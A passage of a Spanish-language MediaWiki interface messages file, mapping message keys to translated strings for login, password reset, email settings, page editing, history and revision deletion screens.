'blocked-mailpassword' => 'Tu dirección IP está bloqueada, y no se te permite el uso de la función de recuperación de contraseñas para prevenir abusos.',
'eauthentsent' => 'Se ha enviado un correo electrónico de confirmación a la dirección especificada.
Antes de que se envíe cualquier otro correo a la cuenta tienes que seguir las instrucciones enviadas en el mensaje para así confirmar que la dirección te pertenece.',
'throttled-mailpassword' => 'Ya se ha enviado un recordatorio de contraseña en {{PLURAL:$1|la última hora|las últimas $1 horas}}.
Para evitar los abusos, solo se enviará un recordatorio de contraseña cada {{PLURAL:$1|hora|$1 horas}}.',
'mailerror' => 'Error al enviar correo: $1',
'acct_creation_throttle_hit' => 'Los visitantes a este wiki usando tu dirección IP han creado {{PLURAL:$1|una cuenta|$1 cuentas}} en el último día, lo cual es lo máximo permitido en este periodo de tiempo.
Como resultado, los visitantes usando esta dirección IP no pueden crear más cuentas en este momento.',
'emailauthenticated' => 'Tu dirección de correo electrónico fue confirmada el $2 a las $3.',
'emailnotauthenticated' => 'Aún no has confirmado tu dirección de correo electrónico.
Hasta que lo hagas, las siguientes funciones no estarán disponibles.',
'noemailprefs' => 'Especifica una dirección electrónica para habilitar estas características.',
'emailconfirmlink' => 'Confirmar dirección de correo electrónico',
'invalidemailaddress' => 'La dirección electrónica no puede ser aceptada, pues parece que tiene un formato no válido.
Por favor, escribe una dirección en el formato adecuado o deja el campo en blanco.',
'cannotchangeemail' => 'Las direcciones de la correo electrónico de las cuentas de usuario no puedes cambiarse en esta wiki.',
'emaildisabled' => 'Este sitio no puede enviar mensajes de correo electrónico.',
'accountcreated' => 'Se ha creado la cuenta',
'accountcreatedtext' => 'La cuenta de usuario de [[{{ns:User}}:$1|$1]] ([[{{ns:User talk}}:$1|talk]]) ha sido creada.',
'createaccount-title' => 'Creación de cuenta para {{SITENAME}}',
'createaccount-text' => 'Alguien creó en {{SITENAME}} ($4) una cuenta asociada a este correo electrónico con el nombre «$2».
La contraseña asignada automáticamente es «$3». Por favor entra ahora y cambia tu contraseña.
Puedes ignorar este mensaje si esta cuenta fue creada por error.',
'usernamehasherror' => 'El nombre de usuario no puede contener símbolos de almohadilla/numeral',
'login-throttled' => 'Has intentado demasiadas veces iniciar sesión. Por favor espera $1 antes de intentarlo nuevamente.',
'login-abort-generic' => 'Tu inicio de sesión no fue exitoso - Cancelado',
'loginlanguagelabel' => 'Idioma: $1',
'suspicious-userlogout' => 'Tu solicitud de desconexión ha sido denegada, pues parece haber sido enviada desde un navegador defectuoso o un proxy caché.',
'createacct-another-realname-tip' => 'El nombre real es opcional.
Si se proporciona, se usará para dar al usuario la atribución de su trabajo.',
# Email sending
'php-mail-error-unknown' => 'Error desconocido en la función mail() de PHP.',
'user-mail-no-addy' => 'Se ha intentado enviar correo electrónico sin una dirección de correo electrónico.',
'user-mail-no-body' => 'Trató de enviar un correo electrónico con un cuerpo vacío o excesivamente corto.',
# Change password dialog
'changepassword' => 'Cambiar contraseña',
'resetpass_announce' => 'Has iniciado sesión con una contraseña temporal que fue enviada por correo electrónico.
Establece una contraseña nueva aquí:',
'resetpass_text' => '<!-- Añada texto aquí -->',
'resetpass_header' => 'Cambiar la contraseña de la cuenta',
'oldpassword' => 'Contraseña antigua:',
'newpassword' => 'Contraseña nueva:',
'retypenew' => 'Confirmar la contraseña nueva:',
'resetpass_submit' => 'Establecer contraseña e iniciar sesión',
'changepassword-success' => 'La contraseña ha sido cambiada con éxito.',
'changepassword-throttled' => 'Has intentado acceder demasiadas veces.
Espera $1 antes de intentarlo de nuevo.',
'resetpass_forbidden' => 'No se pueden cambiar las contraseñas',
'resetpass-no-info' => 'Debes iniciar sesión para acceder directamente a esta página.',
'resetpass-submit-loggedin' => 'Cambiar contraseña',
'resetpass-submit-cancel' => 'Cancelar',
'resetpass-wrong-oldpass' => 'La contraseña antigua no es correcta.
Puede que ya hayas cambiado la contraseña o que hayas pedido una temporal.',
'resetpass-temp-password' => 'Contraseña temporal:',
'resetpass-abort-generic' => 'Una extensión ha cancelado el cambio de la contraseña.',
# Special:PasswordReset
'passwordreset' => 'Restablecimiento de contraseña',
'passwordreset-text-one' => 'Completa este formulario para restablecer tu contraseña.',
'passwordreset-text-many' => '{{PLURAL:$1|Rellena uno de los campos para restablecer la contraseña.}}',
'passwordreset-legend' => 'Restablecer contraseña',
'passwordreset-disabled' => 'Se ha desactivado el restablecimiento de contraseñas en este wiki.',
'passwordreset-emaildisabled' => 'Las funciones de correo electrónico han sido desactivadas en esta wiki.',
'passwordreset-username' => 'Nombre de usuario:',
'passwordreset-domain' => 'Dominio:',
'passwordreset-capture' => '¿Ver el mensaje resultante?',
'passwordreset-capture-help' => 'Si marcas esta casilla, se te mostrará el correo electrónico (con la contraseña temporal) además de enviarse al usuario.',
'passwordreset-email' => 'Dirección de correo electrónico:',
'passwordreset-emailtitle' => 'Detalles de la cuenta en {{SITENAME}}',
'passwordreset-emailtext-ip' => 'Alguien (probablemente tú, desde la dirección IP $1) ha solicitado la renovación de tu clave para {{SITENAME}} ($4). {{PLURAL:$3|La siguiente cuenta está asociada|Las siguientes cuentas están asociadas}}
con esta dirección de correo electrónico:
$2
{{PLURAL:$3|Esta contraseña temporal|Estas contraseñas temporales}} caducarán en {{PLURAL:$5|un día|$5 días}}.
Deberías iniciar sesión y establecer una contraseña nueva ahora. Si otra persona ha realizado este solicitud
o si recuerdas tu contraseña original y no deseas cambiarla, puedes
ignorar este mensaje y continuar usando tu contraseña anterior.',
'passwordreset-emailtext-user' => 'El usuario $1 en {{SITENAME}} pidió un recordatorio de tus datos de cuenta para {{SITENAME}}
($4). {{PLURAL:$3|La siguiente cuenta está asociada|Las siguientes cuentas están asociadas}} con esta dirección de correo electrónico:
$2
{{PLURAL:$3|Esta contraseña temporal|Estas contraseñas temporales}} expirarán en {{PLURAL:$5|un día|$5 días}}.
Deberías iniciar sesión y establecer una contraseña nueva ahora. Si alguien más hizo este pedido,
o recuerdas tu contraseña original, y no deseas cambiarla, puedes
ignorar este mensaje y continuar usando tu contraseña anterior.',
'passwordreset-emailelement' => 'Nombre de usuario: $1
Contraseña temporal: $2',
'passwordreset-emailsent' => 'Se ha enviado un correo electrónico para el restablecimiento de tu contraseña.',
'passwordreset-emailsent-capture' => 'Se ha enviado un correo para el restablecimiento de la contraseña, el cual se muestra a continuación.',
'passwordreset-emailerror-capture' => 'Se generó un correo electrónico de restablecimiento de contraseña, que se muestra a continuación, pero el envío {{GENDER:$2|al usuario|a la usuaria}} falló. $1',
# Special:ChangeEmail
'changeemail' => 'Cambiar la dirección de correo electrónico',
'changeemail-header' => 'Cambiar la dirección de correo de la cuenta',
'changeemail-text' => 'Rellena este formulario para cambiar tu dirección de correo electrónico. Debes introducir la contraseña para confirmar este cambio.',
'changeemail-no-info' => 'Debes iniciar sesión para acceder directamente a esta página.',
'changeemail-oldemail' => 'Dirección electrónica actual:',
'changeemail-newemail' => 'Dirección electrónica nueva:',
'changeemail-none' => '(ninguna)',
'changeemail-password' => 'Tu contraseña en {{SITENAME}}:',
'changeemail-submit' => 'Cambiar correo electrónico',
'changeemail-cancel' => 'Cancelar',
'changeemail-throttled' => 'Has intentado acceder demasiadas veces.
Espera $1 antes de intentarlo de nuevo.',
# Special:ResetTokens
'resettokens' => 'Restablecer claves',
'resettokens-text' => 'Puede restablecer las claves que permiten el acceso a ciertos datos privados asociados a tu cuenta aquí.
Deberías hacerlo si accidentalmente la has compartido con alguien o si su cuenta ha sido comprometida.',
'resettokens-no-tokens' => 'No hay claves para restablecer.',
'resettokens-legend' => 'Restablecer claves',
'resettokens-tokens' => 'Claves:',
'resettokens-token-label' => '$1 (valor actual: $2)',
'resettokens-watchlist-token' => 'Clave para la lista de seguimiento (RSS/Atom) de los [[Special:Watchlist|cambios a las páginas en tu lista de seguimiento]]',
'resettokens-done' => 'Restablecimiento de claves.',
'resettokens-resetbutton' => 'Restablecer las claves',
# Edit page toolbar
'bold_sample' => 'Texto en negrita',
'bold_tip' => 'Texto en negrita',
'italic_sample' => 'Texto en cursiva',
'italic_tip' => 'Texto en cursiva',
'link_sample' => 'Título del enlace',
'link_tip' => 'Enlace interno',
'extlink_sample' => 'http://www.ejemplo.com Título del enlace',
'extlink_tip' => 'Enlace externo (recuerda añadir el prefijo http://)',
'headline_sample' => 'Texto de encabezado',
'headline_tip' => 'Encabezado de nivel 2',
'nowiki_sample' => 'Insertar aquí texto sin formato',
'nowiki_tip' => 'Ignorar el formato wiki',
'image_sample' => 'Ejemplo.jpg',
'image_tip' => 'Archivo incrustado',
'media_sample' => 'Ejemplo.ogg',
'media_tip' => 'Enlace a archivo',
'sig_tip' => 'Tu firma con fecha y hora',
'hr_tip' => 'Línea horizontal (utilizar con moderación)',
# Edit pages
'summary' => 'Resumen:',
'subject' => 'Asunto/encabezado:',
'minoredit' => 'Esta es una edición menor',
'watchthis' => 'Vigilar esta página',
'savearticle' => 'Guardar la página',
'preview' => 'Previsualizar',
'showpreview' => 'Mostrar previsualización',
'showlivepreview' => 'Previsualización dinámica',
'showdiff' => 'Mostrar los cambios',
'anoneditwarning' => "'''Aviso:''' No has iniciado sesión con una cuenta de usuario.
Tu dirección IP se almacenará en el historial de ediciones de la página.",
'anonpreviewwarning' => "''No has iniciado sesión con una cuenta de usuario. Al guardar los cambios se almacenará tu dirección IP en el historial de edición de la página.''",
'missingsummary' => "'''Atención:''' No has escrito un resumen de edición. Si haces clic nuevamente en «{{int:savearticle}}» tu edición se grabará sin él.",
'missingcommenttext' => 'Escribe un comentario a continuación.',
'missingcommentheader' => "'''Recordatorio:''' No has escrito un título para este comentario. Si haces clic nuevamente en \"{{int:savearticle}}\" tu edición se grabará sin él.",
'summary-preview' => 'Previsualización del resumen:',
'subject-preview' => 'Previsualización del tema/título:',
'blockedtitle' => 'El usuario está bloqueado',
'blockedtext' => "'''Tu nombre de usuario o dirección IP ha sido bloqueada.'''
El bloqueo fue hecho por $1.
La razón dada es ''$2''.
* Inicio del bloqueo: $8
* Caducidad del bloqueo: $6
* Bloqueo destinado a: $7
Puedes contactar con $1 u otro [[{{MediaWiki:Grouppage-sysop}}|administrador]] para discutir el bloqueo.
No puedes utilizar la función «enviar correo electrónico a este usuario» a menos que tengas una dirección de correo electrónico válida registrada en tus [[Special:Preferences|preferencias de usuario]] y que el bloqueo no haya inhabilitado esta función.
Tu dirección IP actual es $3, y el identificador del bloqueo es #$5.
Por favor incluye todos los datos aquí mostrados en cualquier consulta que hagas.",
'autoblockedtext' => "Tu dirección IP ha sido bloqueada automáticamente porque fue utilizada por otro usuario que fue bloqueado por $1.
La razón dada es esta:
:''$2''
* Inicio del bloqueo: $8
* Caducidad del bloqueo: $6
* Bloqueo destinado a: $7
Puedes contactar con $1 o con otro de los [[{{MediaWiki:Grouppage-sysop}}|administradores]] para discutir el bloqueo.
Ten en cuenta que no podrás utilizar la herramienta de «enviar correo electrónico a este usuario» a menos que tengas una dirección de correo electrónico válida registrada en tus [[Special:Preferences|preferencias de usuario]] y que el bloqueo no haya inhabilitado esta función.
Tu actual dirección IP es $3, y el identificador del bloqueo es #$5.
Por favor, incluye todos los datos mostrados aquí en cualquier consulta que hagas.",
'blockednoreason' => 'no se ha especificado el motivo',
'whitelistedittext' => 'Tienes que $1 para editar artículos.',
'confirmedittext' => 'Debes confirmar tu dirección electrónica antes de editar páginas. Por favor, establece y valida una dirección electrónica a través de tus [[Special:Preferences|preferencias de usuario]].',
'nosuchsectiontitle' => 'Sección no encontrada',
'nosuchsectiontext' => 'Has intentado editar una sección que no existe.
Quizá ha sido movida o borrada mientras visitabas la página.',
'loginreqtitle' => 'Es necesario iniciar sesión',
'loginreqlink' => 'iniciar sesión',
'loginreqpagetext' => 'Debes $1 para ver otras páginas.',
'accmailtitle' => 'Se ha enviado la contraseña',
'accmailtext' => 'Se ha enviado a $2 una contraseña generada aleatoriamente para [[User talk:$1|$1]].
La contraseña para esta nueva cuenta puede cambiarse en [[Special:ChangePassword|la página destinada para ello]] después de haber iniciado sesión.',
'newarticle' => '(Nuevo)',
'newarticletext' => 'Has seguido un enlace a una página que aún no existe.
Para crear esta página, escribe en el campo a continuación. Para más información, consulta la [[{{MediaWiki:Helppage}}|página de ayuda]].
Si llegaste aquí por error, vuelve a la página anterior.',
'anontalkpagetext' => "---- ''Esta es la página de discusión de un usuario anónimo que aún no ha creado una cuenta, o no la usa. Por lo tanto, tenemos que usar su dirección IP para identificarlo. Una dirección IP puede ser compartida por varios usuarios. Si eres un usuario anónimo y crees que se han dirigido a ti con comentarios improcedentes, por favor [[Special:UserLogin/signup|crea una cuenta]] o si ya la tienes [[Special:UserLogin|identifícate]] para evitar confusiones futuras con otros usuarios anónimos.''",
'noarticletext' => 'En este momento no hay texto en esta página.
Puedes [[Special:Search/{{PAGENAME}}|buscar el título de esta página]] en otras páginas,
<span class="plainlinks">[{{fullurl:{{#Special:Log}}|page={{FULLPAGENAMEE}}}} buscar en los registros],
o [{{fullurl:{{FULLPAGENAME}}|action=edit}} editar esta página]</span>.',
'noarticletext-nopermission' => 'Actualmente no hay texto en esta página.
Puedes [[Special:Search/{{PAGENAME}}|buscar este título de página]] en otras páginas, o <span class="plainlinks">[{{fullurl:{{#Special:Log}}|page={{FULLPAGENAMEE}}}} buscar en los registros relacionados]</span>, pero no tienes permiso para crear esta página.',
'missing-revision' => 'La revisión n.º $1 de la página llamada «{{PAGENAME}}» no existe.
Normalmente esto ocurre cuando se sigue un enlace de historial obsoleto que apunta a una página ya borrada.
Puedes encontrar detalles en el [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} registro de borrados].',
'userpage-userdoesnotexist' => 'La cuenta de usuario «<nowiki>$1</nowiki>» no está registrada. Por favor comprueba si quieres crear o editar esta página.',
'userpage-userdoesnotexist-view' => 'La cuenta de usuario «$1» no está registrada.',
'blocked-notice-logextract' => 'Este usuario está actualmente bloqueado.
La última entrada del registro de bloqueos se proporciona debajo para mayor referencia:',
'clearyourcache' => "'''Nota:''' después de guardar, quizás necesites refrescar la caché de tu navegador para ver los cambios.
* '''Firefox / Safari:''' Mantén presionada ''Mayús'' mientras pulsas el botón ''Actualizar'', o presiona ''Ctrl+F5'' o ''Ctrl+R'' (''⌘+R'' en Mac)
* '''Google Chrome:''' presiona ''Ctrl+Shift+R'' (''⌘+Mayús+R'' en Mac)
* '''Internet Explorer:''' mantén presionada ''Ctrl'' mientras pulsas ''Actualizar'', o presiona ''Ctrl+F5''
* '''Opera:''' vacía la caché en ''Herramientas → Preferencias''",
'usercssyoucanpreview' => "'''Consejo:''' Usa el botón «{{int:showpreview}}» para probar el nuevo CSS antes de guardarlo.",
'userjsyoucanpreview' => "'''Consejo:''' Usa el botón «{{int:showpreview}}» para probar el nuevo JS antes de guardarlo.",
'usercsspreview' => "'''Recuerda que sólo estás previsualizando tu CSS de usuario.'''
'''¡Aún no se ha guardado!'''",
'userjspreview' => "'''¡Recuerda que solo estás previsualizando tu JavaScript de usuario.'''
'''¡Aún no se ha guardado!'''",
'sitecsspreview' => "'''Recuerda que sólo estás previsualizando este CSS'''
'''¡Aún no se ha guardado!'''",
'sitejspreview' => "'''Recuerda que sólo estás previsualizando este código JavaScript.'''
'''¡Aún no se ha guardado!'''",
'userinvalidcssjstitle' => "'''Aviso:''' No existe la apariencia «$1». Recuerda que las páginas personalizadas ''.css'' y ''.js'' tienen un título en minúsculas. Por ejemplo, {{ns:user}}:Ejemplo/vector.css en vez de {{ns:user}}:Ejemplo/Vector.css.",
'updated' => '(Actualizado)',
'note' => "'''Nota:'''",
'previewnote' => "'''Recuerda que esto es solo una previsualización.'''
¡Tus cambios aún no se han guardado!",
'continue-editing' => 'Ir al área de edición',
'previewconflict' => 'Esta previsualización refleja el texto en el área de edición superior como aparecerá una vez guardados los cambios.',
'session_fail_preview' => "'''No se pudo procesar la edición debido a una pérdida de los datos de sesión.'''
Inténtalo de nuevo.
Si el problema persiste, [[Special:UserLogout|cierra la sesión]] y vuelve a identificarte.",
'session_fail_preview_html' => "'''Lo sentimos, no hemos podido procesar tu cambio debido a una pérdida de datos de sesión.'''
''Puesto que este wiki tiene el HTML puro habilitado, la visión preliminar está oculta para prevenirse contra ataques en JavaScript.''
'''Si éste es un intento legítimo de modificación, por favor, inténtalo de nuevo. Si aún así no funcionase, [[Special:UserLogout|cierra la sesión]] e ingresa de nuevo.'''",
'token_suffix_mismatch' => "'''Tu edición ha sido rechazada porque tu cliente ha mezclado los signos de puntuación en el token de edición.
Se rechazó la edición para evitar que el texto de la página se corrompa.
Esto sucede en ocasiones cuando se usa un servicio de proxy anónimo defectuoso.'''",
'edit_form_incomplete' => "'''Algunas partes del formulario de edición no llegaron al servidor, comprueba que tus ediciones están intactas e inténtalo de nuevo'''.",
'editing' => 'Editar $1',
'creating' => 'Crear la página $1',
'editingsection' => 'Editar $1 (sección)',
'editingcomment' => 'Editar $1 (sección nueva)',
'editconflict' => 'Conflicto de edición: $1',
'explainconflict' => "Alguien más ha cambiado esta página desde que empezaste a editarla.
El área de texto superior contiene el texto de la página como existe actualmente.
Tus cambios se muestran en el área de texto inferior.
Si quieres grabar tus cambios, has de trasladarlos al área superior.
'''Sólo''' el texto en el área de texto superior será grabado cuando pulses «{{int:savearticle}}».",
'yourtext' => 'Tu texto',
'storedversion' => 'Versión almacenada',
'nonunicodebrowser' => "'''Atención: Tu navegador no cumple la norma Unicode.'''
Se ha activado un sistema de edición alternativo que te permitirá editar artículos con seguridad: los caracteres no ASCII aparecerán en la caja de edición como códigos hexadecimales.",
'editingold' => "'''Aviso: Estás editando una versión antigua de esta página.'''
Si la guardas, se perderán los cambios realizados desde esta revisión.",
'yourdiff' => 'Diferencias',
'copyrightwarning' => "Por favor observa que todas las contribuciones a {{SITENAME}} se consideran hechas públicas bajo la $2 (véase $1 para más detalles). Si no deseas la modificación y distribución libre de tu obra, entonces no la pongas aquí.<br />También nos aseguras que tú escribiste esto y te pertenecen de los derechos de autor, o lo copiaste desde el dominio público u otra fuente libre. '''¡No uses escritos con copyright sin permiso!'''",
'copyrightwarning2' => "Por favor, ten en cuenta que todas las contribuciones a {{SITENAME}} pueden ser editadas, modificadas o eliminadas por otros colaboradores. Si no deseas que las modifiquen sin limitaciones y las distribuyan libremente, entonces no las pongas aquí.<br />También nos aseguras que tú escribiste esto y te pertenecen de los derechos de autor, o lo copiaste desde el dominio público u otra fuente libre. (véase $1 para más detalles).
'''¡No uses escritos con copyright sin permiso!'''",
'longpageerror' => "'''Error: El texto que has enviado ocupa {{PLURAL:$1|un kilobyte|$1 kilobytes}}, que excede el máximo de {{PLURAL:$2|un kilobyte|$2 kilobytes}}.'''
No se lo puede guardar.",
'readonlywarning' => "'''Advertencia: La base de datos ha sido bloqueada para mantenimiento, así que no podrás guardar tus ediciones en este momento.'''
Quizás quieras copiar y pegar tu texto en un archivo de texto y guardarlo para después.
El administrador que lo bloqueó ofreció esta explicación: $1",
'protectedpagewarning' => "'''Aviso: Esta página ha sido protegida de manera que solo usuarios con permisos de administrador puedan editarla.'''
A continuación se muestra la última entrada de registro para referencia:",
'semiprotectedpagewarning' => "'''Nota:''' Esta página ha sido protegida para que solo usuarios registrados puedan editarla.
A continuación se provee la última entrada de registro para referencia:",
'cascadeprotectedwarning' => "'''Aviso:''' Esta página está protegida, solo los administradores pueden editarla porque está incluida en {{PLURAL:$1|la siguiente página protegida|las siguientes páginas protegidas}} en cascada:",
'titleprotectedwarning' => "'''Aviso: Esta página está protegida de modo que se necesitan [[Special:ListGroupRights|derechos especificos]] para crearla.'''
A continuación se muestra la última entrada de registro para referencia:",
'templatesused' => '{{PLURAL:$1|Plantilla usada|Plantillas usadas}} en esta página:',
'templatesusedpreview' => '{{PLURAL:$1|Plantilla usada|Plantillas usadas}} en esta previsualización:',
'templatesusedsection' => '{{PLURAL:$1|Plantilla usada|Plantillas usadas}} en esta sección:',
'template-protected' => '(protegida)',
'template-semiprotected' => '(semiprotegida)',
'hiddencategories' => 'Esta página es un miembro de {{PLURAL:$1|1 categoría oculta|$1 categorías ocultas}}:',
'edittools' => '<!-- Este texto aparecerá bajo los formularios de edición y subida. -->',
'nocreatetext' => '{{SITENAME}} ha restringido la posibilidad de crear nuevas páginas.
Puede volver atrás y editar una página existente, [[Special:UserLogin|identificarte o crear una cuenta]].',
'nocreate-loggedin' => 'No tienes permiso para crear páginas nuevas.',
'sectioneditnotsupported-title' => 'Edición de sección no compatible',
'sectioneditnotsupported-text' => 'La edición de sección no es compatible con esta página.',
'permissionserrors' => 'Error de permiso',
'permissionserrorstext' => 'No tienes permiso para hacer eso, por {{PLURAL:$1|el siguiente motivo|los siguientes motivos}}:',
'permissionserrorstext-withaction' => 'No tienes permiso para $2, por {{PLURAL:$1|el siguiente motivo|los siguientes motivos}}:',
'recreate-moveddeleted-warn' => "'''Atención: estás volviendo a crear una página que ha sido borrada anteriormente.'''
Deberías considerar si es apropiado continuar editando esta página.
El registro de borrado y traslados para esta página están provistos aquí por conveniencia:",
'moveddeleted-notice' => 'Esta página ha sido borrada.
El registro de borrados y traslados para la página están provistos debajo como referencia.',
'log-fulllog' => 'Ver el registro completo',
'edit-hook-aborted' => 'Edición cancelada por la extensión.
No se aportaron explicaciones.',
'edit-gone-missing' => 'No se pudo actualizar la página.
Parece que ha sido borrada.',
'edit-conflict' => 'Conflicto de edición.',
'edit-no-change' => 'Se ignoró tu revisión, porque no se hizo ningún cambio al texto.',
'postedit-confirmation' => 'Se ha guardado tu edición.',
'edit-already-exists' => 'No se pudo crear una página nueva.
Ya existe.',
'defaultmessagetext' => 'Texto de mensaje predeterminado',
'content-failed-to-parse' => 'No se pudo analizar el contenido $2 del modelo $1: $3',
'invalid-content-data' => 'Datos de contenido inválidos',
'content-not-allowed-here' => 'El contenido "$1" no está permitido en la página [[$2]]',
'editwarning-warning' => 'Se perderán los cambios si se cierra esta página.
Si has iniciado sesión, puedes desactivar este aviso en la sección «{{int:prefs-editing}}» de las preferencias.',
'editpage-notsupportedcontentformat-title' => 'Formato de contenido no admitido',
'editpage-notsupportedcontentformat-text' => 'El formato de contenido $1 no es compatible con el modelo de contenido $2.',
# Content models
'content-model-wikitext' => 'texto wiki',
'content-model-text' => 'Texto sin formato',
'content-model-javascript' => 'JavaScript',
'content-model-css' => 'CSS',
# Parser/template warnings
'expensive-parserfunction-warning' => 'Aviso: Esta página contiene demasiadas llamadas a funciones sintácticas costosas (#ifexist: y similares)
Tiene {{PLURAL:$1|una llamada|$1 llamadas}}, pero debería tener menos de $2.',
'expensive-parserfunction-category' => 'Páginas con llamadas a funciones sintácticas demasiado costosas',
'post-expand-template-inclusion-warning' => 'Aviso: El tamaño de las plantillas incluidas es muy grande.
Algunas plantillas no serán incluidas.',
'post-expand-template-inclusion-category' => 'Páginas con sobrecarga de plantillas',
'post-expand-template-argument-warning' => 'Aviso: Esta página contiene al menos un parámetro de plantilla que tiene un tamaño de expansión demasiado grande.
Ese o esos parámetros han sido omitidos.',
'post-expand-template-argument-category' => 'Páginas que contienen plantillas con parámetros descartados',
'parser-template-loop-warning' => 'Detectado bucle de plantilla: [[$1]]',
'parser-template-recursion-depth-warning' => 'Se ha excedido el límite de recursión de plantillas ($1)',
'language-converter-depth-warning' => 'El límite de profundidad del convertidor de idioma ha excedido ($1)',
'node-count-exceeded-category' => 'Páginas donde se supera el número de nodos',
'node-count-exceeded-warning' => 'Página que ha superado el número de nodos',
'expansion-depth-exceeded-category' => 'Páginas donde se supera la profundidad de expansión',
'expansion-depth-exceeded-warning' => 'Página que ha superado la profundidad de expansión',
'parser-unstrip-loop-warning' => 'Se ha detectado un bucle "unstrip"',
'parser-unstrip-recursion-limit' => 'Se ha superado el límite de recursión de "unstrip" ($1)',
'converter-manual-rule-error' => 'Error detectado en la regla de conversión manual del lenguaje',
# "Undo" feature
'undo-success' => 'La edición puede deshacerse. Antes de deshacer la edición, comprueba la siguiente comparación para verificar que realmente es lo que quieres hacer, y entonces guarda los cambios para así deshacer la edición.',
'undo-failure' => 'No se puede deshacer la edición ya que otro usuario ha realizado una edición intermedia.',
'undo-norev' => 'La edición no puede ser deshecha porque no existe o ha sido borrada.',
'undo-nochange' => 'Parece que ya se ha deshecho la modificación.',
'undo-summary' => 'Deshecha la revisión $1 de [[Special:Contributions/$2|$2]] ([[User talk:$2|disc.]])',
'undo-summary-username-hidden' => 'Deshacer revisión $1 por usuario oculto',
# Account creation failure
'cantcreateaccounttitle' => 'No se puede crear la cuenta',
'cantcreateaccount-text' => "La creación de cuentas desde esta dirección IP ('''$1''') ha sido bloqueada por [[User:$3|$3]].
El motivo dado por $3 es ''$2''",
'cantcreateaccount-range-text' => "La creación de cuentas de usuario desde direcciones IP en el rango '''$1''', que incluye tu dirección IP ('''$4'''), ha sido bloqueada por [[User:$3|$3]].
El motivo dado por $3 es ''$2''",
# History pages
'viewpagelogs' => 'Ver los registros de esta página',
'nohistory' => 'No hay historial de ediciones para esta página.',
'currentrev' => 'Revisión actual',
'currentrev-asof' => 'Última revisión de $1',
'revisionasof' => 'Revisión de $1',
'revision-info' => 'Revisión a fecha de $1; $2',
'previousrevision' => '← Revisión anterior',
'nextrevision' => 'Revisión siguiente →',
'currentrevisionlink' => 'Revisión actual',
'cur' => 'act',
'next' => 'sig',
'last' => 'ant',
'page_first' => 'primeras',
'page_last' => 'últimas',
'histlegend' => "Selección de diferencias: marca los selectores de las versiones a comparar y pulsa ''enter'' o el botón de abajo.<br />
Leyenda: '''(act)''' = diferencias con la versión actual,
'''(ant)''' = diferencias con la versión anterior, '''m''' = edición menor",
'history-fieldset-title' => 'Buscar en el historial',
'history-show-deleted' => 'Solo ediciones ocultadas',
'histfirst' => 'primeras',
'histlast' => 'últimas',
'historysize' => '({{PLURAL:$1|1 byte|$1 bytes}})',
'historyempty' => '(vacío)',
# Revision feed
'history-feed-title' => 'Historial de revisiones',
'history-feed-description' => 'Historial de revisiones para esta página en el wiki',
'history-feed-item-nocomment' => '$1 en $2',
'history-feed-empty' => 'La página solicitada no existe.
Puede haber sido borrada del wiki o renombrada.
Prueba a [[Special:Search|buscar en el wiki]] nuevas páginas relevantes.',
# Revision deletion
'rev-deleted-comment' => '(resumen de edición eliminado)',
'rev-deleted-user' => '(nombre de usuario eliminado)',
'rev-deleted-event' => '(entrada borrada)',
'rev-deleted-user-contribs' => '[nombre de usuario o dirección IP eliminada - edición ocultada de la lista de contribuciones]',
'rev-deleted-text-permission' => "Esta revisión de la página ha sido '''borrada'''.
Puede haber detalles en el [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} registro de borrados].",
'rev-deleted-text-unhide' => "Esta revisión de la página ha sido '''borrada'''.
Puede haber más detalles en el [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} registro de borrados].
Como administrador todavía puedes [$1 ver esta revisión] si así lo deseas.",
'rev-suppressed-text-unhide' => "Esta revisión de la página ha sido '''suprimida'''.
Puede haber más detalles en el [{{fullurl:{{#Special:Log}}/suppress|page={{FULLPAGENAMEE}}}} registro de supresiones].
Como administrador podrá seguir [$1 viendo esta revisión] si desea continuar.",
'rev-deleted-text-view' => "Esta revisión de la página ha sido '''borrada'''.
Aún tiene la posibilidad de verla; puede ampliar los detalles en el [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} registro de borrados].",
'rev-suppressed-text-view' => "Esta revisión de la página ha sido '''suprimida'''.
Aún tiene la posibilidad de verla; puede ampliar los detalles en el [{{fullurl:{{#Special:Log}}/suppress|page={{FULLPAGENAMEE}}}} registro de supresiones].",
'rev-deleted-no-diff' => "No puedes ver esta diferencia porque una de las revisiones ha sido '''borrada'''.
Puedes encontrar más detalles en el [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} registro de borrados].",
'rev-suppressed-no-diff' => "No puedes ver esta diferencia porque una de las revisiones ha sido '''borrada'''.",
'rev-deleted-unhide-diff' => "Una de las revisiones de esta diferencia ha sido '''borrada'''.
Puede ampliar los detalles en el [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} registro de borrados].
Aún puede [$1 ver este cambio] si así lo desea.",
'rev-suppressed-unhide-diff' => "Una de las revisiones de esta diferencia ha sido '''suprimida'''.
Puede haber detalles en el [{{fullurl:{{#Special:Log}}/suppress|page={{FULLPAGENAMEE}}}} registro de supresiones].
Aún puede [$1 ver esta diferencia] si desea así lo desea.",
'rev-deleted-diff-view' => "Una de las revisiones de esta diferencia ha sido '''borrada'''.
Aún tiene la posibilidad de verla; puede ampliar los detalles en el [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} registro de borrados].",
'rev-suppressed-diff-view' => "Una de las revisiones de esta diferencia ha sido '''suprimida'''.
Aún tiene la posibilidad de verla; puede ampliar los detalles en el [{{fullurl:{{#Special:Log}}/suppress|page={{FULLPAGENAMEE}}}} registro de supresiones].",
'rev-delundel' => 'mostrar/ocultar',
'rev-showdeleted' => 'mostrar',
'revisiondelete' => 'Borrar/restaurar revisiones',
'revdelete-nooldid-title' => 'No hay revisión destino',
'revdelete-nooldid-text' => 'No se ha especificado una revisión o revisiones destino sobre las que realizar esta función.',
'revdelete-no-file' => 'El archivo especificado no existe.',
'revdelete-show-file-confirm' => '¿Quieres ver la revisión borrada del archivo «<nowiki>$1</nowiki>» del $2 a las $3?',
'revdelete-show-file-submit' => 'Sí',
'revdelete-selected' => "'''{{PLURAL:$2|Revisión seleccionada|Revisiones seleccionadas}} de [[:$1]]:'''",
'logdelete-selected' => "'''{{PLURAL:$1|Seleccionado un evento|Seleccionados eventos}}:'''",
'revdelete-text' => "Las revisiones borradas aún aparecerán en el historial de la página y en los registros, pero sus contenidos no serán accesibles al público.'''
